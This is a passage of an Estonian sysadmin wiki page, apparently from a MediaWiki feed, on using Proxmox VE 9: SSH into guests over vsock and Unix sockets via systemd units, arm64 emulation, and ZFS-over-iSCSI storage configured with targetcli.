&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tuleb kasutada 'man systemd-ssh-proxy' utiliiti&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# ssh root@vsock/50056&lt;br /&gt;
Warning: Permanently added 'vsock/50056' (ED25519) to the list of known hosts.&lt;br /&gt;
Linux unifi-oss 6.12.90+deb13.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.90-2 (2026-05-27) x86_64&lt;br /&gt;
&lt;br /&gt;
The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
the exact distribution terms for each program are described in the&lt;br /&gt;
individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
permitted by applicable law.&lt;br /&gt;
Last login: Sun May 31 23:53:37 2026 from 192.168.10.156&lt;br /&gt;
root@unifi-oss:~#&lt;br /&gt;
&lt;br /&gt;
root@unifi-oss:~# w&lt;br /&gt;
 23:59:55 up 6 min,  2 users,  load average: 0.00, 0.00, 0.00&lt;br /&gt;
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT&lt;br /&gt;
root     pts/1    -                23:59    1.00s  0.00s   ?    w&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* vsock kaudu lähenemise puhul on iseloomulik 'FROM -' (tavaliselt on seal src ip aadress)&lt;br /&gt;
&lt;br /&gt;
Peale kasutaja sisselogimist paistab&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# ss -a -p --vsock&lt;br /&gt;
Netid    State     Recv-Q    Send-Q       Local Address:Port       Peer Address:Port         Process&lt;br /&gt;
v_str    LISTEN    0         0                        *:22                    *:*             users:((&amp;quot;systemd&amp;quot;,pid=1,fd=66))&lt;br /&gt;
v_str    ESTAB     0         0                    50056:22                    2:3327097366    users:((&amp;quot;sshd-session&amp;quot;,pid=914,fd=7),(&amp;quot;sshd-session&amp;quot;,pid=914,fd=6),(&amp;quot;sshd-session&amp;quot;,pid=905,fd=7),(&amp;quot;sshd-session&amp;quot;,pid=905,fd=6),(&amp;quot;systemd&amp;quot;,pid=1,fd=8))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* af_vsock osakonnas on sarnasel af_inet osakonnale ka listen socket ning 'active connected socket'&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal on ssh agar kuulama ka af_unix soketil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# screendump | grep -i ssh&lt;br /&gt;
[  OK  ] Listening on sshd-unix-local.socket - OpenSSH Server Socket (systemd-ssh-generator, AF_UNIX Local).&lt;br /&gt;
[  OK  ] Listening on sshd-vsock.socket - OpenSSH Server Socket (systemd-ssh-generator, AF_VSOCK).&lt;br /&gt;
[  OK  ] Reached target ssh-access.target - SSH Access Available.&lt;br /&gt;
         Starting ssh.service - OpenBSD Secure Shell server...&lt;br /&gt;
[  OK  ] Started ssh.service - OpenBSD Secure Shell server.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja tõesti, lokaalselt saab arvutisse logida sisse nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@unifi-oss:~# ssh unix/run/ssh-unix-local/socket&lt;br /&gt;
Warning: Permanently added 'unix/run/ssh-unix-local/socket' (ED25519) to the list of known hosts.&lt;br /&gt;
Linux unifi-oss 6.12.90+deb13.1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.90-2 (2026-05-27) x86_64&lt;br /&gt;
&lt;br /&gt;
The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
the exact distribution terms for each program are described in the&lt;br /&gt;
individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
permitted by applicable law.&lt;br /&gt;
Last login: Mon Jun  1 00:16:42 2026 from UNKNOWN&lt;br /&gt;
&lt;br /&gt;
root@unifi-oss:~# w&lt;br /&gt;
 00:16:44 up 23 min,  3 users,  load average: 0.00, 0.00, 0.00&lt;br /&gt;
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT&lt;br /&gt;
root     pts/2    -                00:16    1.00s  0.00s   ?    w&lt;br /&gt;
root     pts/1    -                00:16    2.00s  0.00s   ?    ssh unix/run/ssh-unix-local/socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.auul.pri.ee/wiki/Linux_operatsioonis%C3%BCsteemis_t%C3%B6%C3%B6tab_v%C3%B5rgu%C3%BChendus#systemd_kasutamine_network-proxy_rollis&lt;br /&gt;
&lt;br /&gt;
===Üle vsock ssh kasutamine - Ubuntu 24.04===&lt;br /&gt;
&lt;br /&gt;
Ettevalmistavalt tuleb 22/tcp seadistada käima ainult konkreetselt ip aadressil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# grep ^Liste /etc/ssh/sshd_config&lt;br /&gt;
ListenAddress 192.168.10.194&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# systemctl status ssh.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures vastav systemd ssh listen osakond jääb nagu on, 0.0.0.0/0 peale&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# grep ^Lis /usr/lib/systemd/system/ssh.socket&lt;br /&gt;
ListenStream=0.0.0.0:22&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* väidetavalt on see vajalik mingi sistemise systemd/ssh jne loogika toimimiseks.&lt;br /&gt;
&lt;br /&gt;
ja laadida kerneli moodul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# modprobe vmw_vsock_virtio_transport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ubuntu 24.04 keskkonnas on tehniliselt kõik vajalik vsock kasutamiseks olemas, tuleb lisada kaks system elementi&lt;br /&gt;
&lt;br /&gt;
* sshd-vsock.socket - õpetab systemd pid=1 protsessile kuulama võrgus 22/vsock pordil&lt;br /&gt;
* sshd-vsock@.service - õpetab 22/vsock pordile sissetuleva pöördumist üleandmist sshd protsessile&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ls -ld /etc/systemd/system/sshd-vsock*&lt;br /&gt;
-rw-r--r-- 1 root root 380 Jun 20 15:38 /etc/systemd/system/sshd-vsock@.service&lt;br /&gt;
-rw-r--r-- 1 root root 265 Jun 20 13:33 /etc/systemd/system/sshd-vsock.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/sshd-vsock.socket&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=OpenSSH Server Socket (AF_VSOCK Network-Independent Line)&lt;br /&gt;
Documentation=man:sshd(8) man:sshd_config(5)&lt;br /&gt;
# Notice: No &amp;quot;Conflicts=&amp;quot; or &amp;quot;Before=&amp;quot; entries are needed here!&lt;br /&gt;
&lt;br /&gt;
[Socket]&lt;br /&gt;
ListenStream=vsock::22&lt;br /&gt;
Accept=yes&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/sshd-vsock@.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=OpenSSH Server Socket Per-Connection Daemon (VSOCK Backup)&lt;br /&gt;
Documentation=man:sshd(8) man:sshd_config(5)&lt;br /&gt;
After=auditd.service&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
# The -i flag forces sshd to run in &amp;quot;inetd&amp;quot; mode to accept the raw systemd socket&lt;br /&gt;
ExecStart=-/usr/sbin/sshd -i $SSHD_OPTS&lt;br /&gt;
StandardInput=socket&lt;br /&gt;
RuntimeDirectory=sshd&lt;br /&gt;
RuntimeDirectoryMode=0755&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl daemon-reload&lt;br /&gt;
root@zabbix-pub-01:~# systemctl enable --now sshd-vsock.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena kuulatakse 22/vsock peal&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl list-sockets | grep ssh&lt;br /&gt;
192.168.10.194:22                     ssh.socket                      ssh.service&lt;br /&gt;
vsock::22                             sshd-vsock.socket               -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# ssh root@vsock/50194&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Proxmox VE Firewall===&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Probleeme tekitada võiv kombinatsioon, vältida&lt;br /&gt;
&lt;br /&gt;
* Hardware -&amp;gt; network device -&amp;gt; Firewall - Enable&lt;br /&gt;
* Firewall -&amp;gt; Option - No&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://pve.proxmox.com/pve-docs-7/chapter-pve-firewall.html&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
Tundub, et pve 9 ja qemu 11 kandis on hakanud ilmuma 'x86_64 v2 aes' virtuaalse protsessori kasutamisel sellised teated, nt 'host' protsessoriga neid ei ole&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-wrx90e:~# pveversion&lt;br /&gt;
pve-manager/9.2.3/d0fde103346cf89a (running kernel: 7.0.6-2-pve)&lt;br /&gt;
&lt;br /&gt;
root@pve-wrx90e:~# dmesg | grep WRMSR | tail -n 4&lt;br /&gt;
[30021.694536] kvm: kvm [323176]: vcpu0, guest rIP: 0xffffffffb807e744 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[30090.614209] kvm: kvm [324048]: vcpu0, guest rIP: 0xffffffff84e6d9b4 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[30308.798770] kvm: kvm [326811]: vcpu0, guest rIP: 0xffffffff8d67e744 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
[180421.745980] kvm: kvm [3632532]: vcpu0, guest rIP: 0xffffffff81242297 Unhandled WRMSR(0xc0010007) = 0xffff&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===arm64 platvormi emuleerimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et PVE v. 9.2 juures ilmub webgui peale vcpu valik 'arm (64-bit)'&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260614-pve-01.png|600px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tulemusena ta töötab, aga väga nö rahulikult&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# apt-get install pve-edk2-firmware-aarch6&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._9_kasutamine&amp;diff=4255</id>
		<title>Proxmox v. 9 kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._9_kasutamine&amp;diff=4255"/>
		<updated>2026-06-20T14:27:12Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* arm64 platvormi emuleerimine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Virtuaalne riistvara===&lt;br /&gt;
&lt;br /&gt;
Klaviatuur ja hiir&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systool -b serio&lt;br /&gt;
Bus = &amp;quot;serio&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio0&amp;quot;&lt;br /&gt;
  Device = &amp;quot;serio1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# systool -b serio -v&lt;br /&gt;
Bus = &amp;quot;serio&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio0&amp;quot;&lt;br /&gt;
  Device path = &amp;quot;/sys/devices/platform/i8042/serio0&amp;quot;&lt;br /&gt;
    bind_mode           = &amp;quot;auto&amp;quot;&lt;br /&gt;
    description         = &amp;quot;i8042 KBD port&amp;quot;&lt;br /&gt;
    drvctl              = &amp;lt;store method only&amp;gt;&lt;br /&gt;
    err_count           = &amp;quot;0&amp;quot;&lt;br /&gt;
    extra               = &amp;quot;0&amp;quot;&lt;br /&gt;
    firmware_id         = &amp;quot;PNP: PNP0303&amp;quot;&lt;br /&gt;
    force_release       = &amp;quot;369-370&amp;quot;&lt;br /&gt;
    modalias            = &amp;quot;serio:ty06pr00id00ex00&amp;quot;&lt;br /&gt;
    scroll              = &amp;quot;0&amp;quot;&lt;br /&gt;
    set                 = &amp;quot;2&amp;quot;&lt;br /&gt;
    softraw             = &amp;quot;1&amp;quot;&lt;br /&gt;
    softrepeat          = &amp;quot;0&amp;quot;&lt;br /&gt;
    uevent              = &amp;quot;DRIVER=atkbd&lt;br /&gt;
SERIO_TYPE=06&lt;br /&gt;
SERIO_PROTO=00&lt;br /&gt;
SERIO_ID=00&lt;br /&gt;
SERIO_EXTRA=00&lt;br /&gt;
MODALIAS=serio:ty06pr00id00ex00&lt;br /&gt;
SERIO_FIRMWARE_ID=PNP: PNP0303&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Device = &amp;quot;serio1&amp;quot;&lt;br /&gt;
  Device path = &amp;quot;/sys/devices/platform/i8042/serio1&amp;quot;&lt;br /&gt;
    bind_mode           = &amp;quot;auto&amp;quot;&lt;br /&gt;
    description         = &amp;quot;i8042 AUX port&amp;quot;&lt;br /&gt;
    drvctl              = &amp;lt;store method only&amp;gt;&lt;br /&gt;
    firmware_id         = &amp;quot;PNP: PNP0f13&amp;quot;&lt;br /&gt;
    modalias            = &amp;quot;serio:ty01pr00id00ex00&amp;quot;&lt;br /&gt;
    protocol            = &amp;quot;VirtualPS/2&amp;quot;&lt;br /&gt;
    rate                = &amp;quot;100&amp;quot;&lt;br /&gt;
    resetafter          = &amp;quot;5&amp;quot;&lt;br /&gt;
    resolution          = &amp;quot;200&amp;quot;&lt;br /&gt;
    resync_time         = &amp;quot;0&amp;quot;&lt;br /&gt;
    uevent              = &amp;quot;DRIVER=psmouse&lt;br /&gt;
SERIO_TYPE=01&lt;br /&gt;
SERIO_PROTO=00&lt;br /&gt;
SERIO_ID=00&lt;br /&gt;
SERIO_EXTRA=00&lt;br /&gt;
MODALIAS=serio:ty01pr00id00ex00&lt;br /&gt;
SERIO_FIRMWARE_ID=PNP: PNP0f13&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===remote zfs over iscsi===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* FUA (Forced Unit Access) - &lt;br /&gt;
* WCE (Write Cache Enable) -&lt;br /&gt;
* TPU (Thin Provisioning UNMAP) - &lt;br /&gt;
* TPWS (WRITE_SAME / Zeroing) -&lt;br /&gt;
* VFS (virtual file system) -&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Virtuaalse arvuti vaatest andmetega tegelemine&lt;br /&gt;
&lt;br /&gt;
 pve virtuaalne arvuti -&amp;gt; pve füüsiline arvuti -&amp;gt; over-iscsi-zfs-storage-server&lt;br /&gt;
&lt;br /&gt;
Sõltuvalt qemu virtuaalse arvuti virtuaalse plokkseadme 'Cache' seadistustest on võimalik erinevate cache komplektide-kombinatsioonide kasutamine andmete liikumisel virtuaalses arvutis töötava protsessi juurest zfs storage serveri füüsilisele plokkseadmele. Tundub, et 2025 aastal on kõige keskmisemale kasutusele sobiv valik 'Cache: nocache'&lt;br /&gt;
&lt;br /&gt;
* hea jõudlus&lt;br /&gt;
* hea terviklus&lt;br /&gt;
&lt;br /&gt;
Andmete liikumise teekond&lt;br /&gt;
&lt;br /&gt;
* virtuaalse arvuti rakendus&lt;br /&gt;
* virtuaalse arvuti vfs failisüsteem&lt;br /&gt;
* virtuaalse arvuti page cache (vfs'ga seotud)&lt;br /&gt;
* virtuaalse arvuti ext4 failisüsteem (ext4 draiver)&lt;br /&gt;
* virtuaalse arvuti lvm&lt;br /&gt;
* virtuaalse arvuti fdisk partitsioonid&lt;br /&gt;
* virtuaalse arvuti virtuaalne sata vms kontroller&lt;br /&gt;
* füüsilise arvuti qemu protsess&lt;br /&gt;
* füüsilise arvuti open-iscsi poolt teostatud /dev/sda scsi plokkseade (puudub cache)&lt;br /&gt;
* füüsilises arvutis storage'ga seotud cache puudub&lt;br /&gt;
* storage arvuti targetcli (puutub cache)&lt;br /&gt;
* storage arvuti zfs ressurss (sisaldab zfs cache)&lt;br /&gt;
* storage avuti füüsilise plokkseadme controller-cache&lt;br /&gt;
&lt;br /&gt;
'Cache: nocache' parameeter on üks vähestest parameetritest, mis avaldab mõju nö mõlemas suunas&lt;br /&gt;
&lt;br /&gt;
* virtuaalse arvuti seest kasutada olevale storage ressursile&lt;br /&gt;
* kuidas füüsilise arvuti sees virtuaalsele arvutile vastav qemu protsess kasutab allolevat plokkseadet&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis kirjeldatakse nelja komponendi seadistamist&lt;br /&gt;
&lt;br /&gt;
* virtuaalsele arvutile vastav qemu protsess&lt;br /&gt;
* iscsi initiator&lt;br /&gt;
* iscsi target&lt;br /&gt;
* zfs lahendus&lt;br /&gt;
&lt;br /&gt;
====zfs lahendus iscsi target arvutis====&lt;br /&gt;
&lt;br /&gt;
Füüsilised kettad on kasutusel nö kõige tavalisemal viisil, eriti tähendab see, et ketastel on sisselülitatud nö tavaline controller-cache&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# lsscsi -s | grep 4.00T&lt;br /&gt;
[2:0:0:0]    disk    ATA      CT4000MX500SSD1  045   /dev/sdc   4.00TB&lt;br /&gt;
[3:0:0:0]    disk    ATA      CT4000MX500SSD1  045   /dev/sdd   4.00TB&lt;br /&gt;
[N:0:1:1]    disk    Samsung SSD 990 PRO with Heatsink 4TB__1   /dev/nvme0n1  4.00TB&lt;br /&gt;
[N:1:1:1]    disk    Samsung SSD 990 PRO with Heatsink 4TB__1   /dev/nvme1n1  4.00TB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zfs lülituse moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat create-zpool-raidz1-x4.sh&lt;br /&gt;
zpool create -o ashift=13 zp_data raidz1 \&lt;br /&gt;
  /dev/disk/by-id/ata-CT4000MX500SSD1_2246E686FE58 \&lt;br /&gt;
  /dev/disk/by-id/ata-CT4000MX500SSD1_2246E686FF7B \&lt;br /&gt;
  /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_with_Heatsink_4TB_S7DSNJ0X501827B \&lt;br /&gt;
  /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_with_Heatsink_4TB_S7DSNJ0X501856Z&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zfs cache töötab tavalisel viisil, st on sisse lülitatud olekus, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# zfs get all | grep -i cache | grep vm-106-disk-0&lt;br /&gt;
zp_crucial_mx_4/vm-106-disk-0     primarycache          all                     default&lt;br /&gt;
zp_crucial_mx_4/vm-106-disk-0     secondarycache        all                     default&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====targetcli iscsi target arvutis====&lt;br /&gt;
&lt;br /&gt;
targetcli seadistamine koosneb kahest tegevusest&lt;br /&gt;
&lt;br /&gt;
* zfs põhise alus-storage storage publitseerimine&lt;br /&gt;
* publitseerimisel sobivalt scsi protokolli parameetrite kasutamine (eriti cache, sparse jms esitamine)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/&amp;gt; /iscsi create iqn.2025-10.moraal.srv:storage.zfstarget&lt;br /&gt;
/&amp;gt; /iscsi/iqn.2025-10.moraal.srv:storage.zfstarget/tpg1/acls  create iqn.1993-08.org.debian:01:4cbe32bd26b&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sobiv seadistus, mis tuleb plokk-ressursi jaoks kehtestada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# targetcli /backstores/block/zp_crucial_mx_4-vm-108613-disk-4 get attribute | grep =&lt;br /&gt;
======================&lt;br /&gt;
alua_support=1&lt;br /&gt;
block_size=512&lt;br /&gt;
emulate_3pc=1&lt;br /&gt;
emulate_caw=1&lt;br /&gt;
emulate_dpo=1&lt;br /&gt;
emulate_fua_read=1&lt;br /&gt;
emulate_fua_write=1&lt;br /&gt;
emulate_model_alias=1&lt;br /&gt;
emulate_pr=1&lt;br /&gt;
emulate_rest_reord=0&lt;br /&gt;
emulate_rsoc=1&lt;br /&gt;
emulate_tas=1&lt;br /&gt;
emulate_tpu=0&lt;br /&gt;
emulate_tpws=0&lt;br /&gt;
emulate_ua_intlck_ctrl=0&lt;br /&gt;
emulate_write_cache=0&lt;br /&gt;
enforce_pr_isids=1&lt;br /&gt;
force_pr_aptpl=0&lt;br /&gt;
hw_block_size=512 [ro]&lt;br /&gt;
hw_max_sectors=32768 [ro]&lt;br /&gt;
hw_pi_prot_type=0 [ro]&lt;br /&gt;
hw_queue_depth=128 [ro]&lt;br /&gt;
is_nonrot=1&lt;br /&gt;
max_unmap_block_desc_count=1&lt;br /&gt;
max_unmap_lba_count=131072&lt;br /&gt;
max_write_same_len=65535&lt;br /&gt;
optimal_sectors=32768&lt;br /&gt;
pgr_support=1&lt;br /&gt;
pi_prot_format=0&lt;br /&gt;
pi_prot_type=0&lt;br /&gt;
pi_prot_verify=0&lt;br /&gt;
queue_depth=128&lt;br /&gt;
submit_type=0&lt;br /&gt;
unmap_granularity=8&lt;br /&gt;
unmap_granularity_alignment=0&lt;br /&gt;
unmap_zeroes_data=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Muudatuse tegemine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/backstores/b...108613-disk-4&amp;gt; set attribute emulate_tpws=0&lt;br /&gt;
/backstores/b...108613-disk-4&amp;gt; set attribute emulate_tpu=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamine paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# targetcli&lt;br /&gt;
targetcli shell version 2.1.53&lt;br /&gt;
Copyright 2011-2013 by Datera, Inc and others.&lt;br /&gt;
For help on commands, type 'help'.&lt;br /&gt;
&lt;br /&gt;
/&amp;gt; ls&lt;br /&gt;
o- / ......................................................................................................................... [...]&lt;br /&gt;
  o- backstores .............................................................................................................. [...]&lt;br /&gt;
  | o- block .................................................................................................. [Storage Objects: 3]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-100-disk-0 ......................... [/dev/zp_crucial_mx_4/vm-100-disk-0 (20.0GiB) write-thru activated]&lt;br /&gt;
  | | | o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | | |   o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-106-disk-5 ......................... [/dev/zp_crucial_mx_4/vm-106-disk-5 (16.0GiB) write-thru activated]&lt;br /&gt;
  | | | o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | | |   o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | | o- zp_crucial_mx_4-vm-108613-disk-1 .................... [/dev/zp_crucial_mx_4/vm-108613-disk-1 (4.0GiB) write-thru activated]&lt;br /&gt;
  | |   o- alua ................................................................................................... [ALUA Groups: 1]&lt;br /&gt;
  | |     o- default_tg_pt_gp ....................................................................... [ALUA state: Active/optimized]&lt;br /&gt;
  | o- fileio ................................................................................................. [Storage Objects: 0]&lt;br /&gt;
  | o- pscsi .................................................................................................. [Storage Objects: 0]&lt;br /&gt;
  | o- ramdisk ................................................................................................ [Storage Objects: 0]&lt;br /&gt;
  o- iscsi ............................................................................................................ [Targets: 1]&lt;br /&gt;
  | o- iqn.2025-10.moraal.srv:storage.zfstarget .......................................................................... [TPGs: 1]&lt;br /&gt;
  |   o- tpg1 ............................................................................................... [no-gen-acls, no-auth]&lt;br /&gt;
  |     o- acls .......................................................................................................... [ACLs: 1]&lt;br /&gt;
  |     | o- iqn.1993-08.org.debian:01:4cbe32bd26b ................................................................ [Mapped LUNs: 3]&lt;br /&gt;
  |     |   o- mapped_lun0 ...................................................... [lun0 block/zp_crucial_mx_4-vm-108613-disk-1 (rw)]&lt;br /&gt;
  |     |   o- mapped_lun1 ......................................................... [lun1 block/zp_crucial_mx_4-vm-106-disk-5 (rw)]&lt;br /&gt;
  |     |   o- mapped_lun2 ......................................................... [lun2 block/zp_crucial_mx_4-vm-100-disk-0 (rw)]&lt;br /&gt;
  |     o- luns .......................................................................................................... [LUNs: 3]&lt;br /&gt;
  |     | o- lun0 .............. [block/zp_crucial_mx_4-vm-108613-disk-1 (/dev/zp_crucial_mx_4/vm-108613-disk-1) (default_tg_pt_gp)]&lt;br /&gt;
  |     | o- lun1 .................... [block/zp_crucial_mx_4-vm-106-disk-5 (/dev/zp_crucial_mx_4/vm-106-disk-5) (default_tg_pt_gp)]&lt;br /&gt;
  |     | o- lun2 .................... [block/zp_crucial_mx_4-vm-100-disk-0 (/dev/zp_crucial_mx_4/vm-100-disk-0) (default_tg_pt_gp)]&lt;br /&gt;
  |     o- portals .................................................................................................... [Portals: 1]&lt;br /&gt;
  |       o- 0.0.0.0:3260 ..................................................................................................... [OK]&lt;br /&gt;
  o- loopback ......................................................................................................... [Targets: 0]&lt;br /&gt;
  o- srpt ............................................................................................................. [Targets: 0]&lt;br /&gt;
  o- vhost ............................................................................................................ [Targets: 0]&lt;br /&gt;
  o- xen-pvscsi ....................................................................................................... [Targets: 0]&lt;br /&gt;
/&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks saab portaali käest küsida attribute ja parameter komplekte, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pm60-trt:~# targetcli /iscsi/iqn.2022-09.ee.moraal:pbs-pub/tpg1 get parameter | grep =&lt;br /&gt;
======================&lt;br /&gt;
AuthMethod=CHAP&lt;br /&gt;
DataDigest=CRC32C,None&lt;br /&gt;
DataPDUInOrder=Yes&lt;br /&gt;
DataSequenceInOrder=Yes&lt;br /&gt;
DefaultTime2Retain=20&lt;br /&gt;
DefaultTime2Wait=2&lt;br /&gt;
ErrorRecoveryLevel=0&lt;br /&gt;
FirstBurstLength=65536&lt;br /&gt;
HeaderDigest=CRC32C,None&lt;br /&gt;
IFMarkInt=Reject&lt;br /&gt;
IFMarker=No&lt;br /&gt;
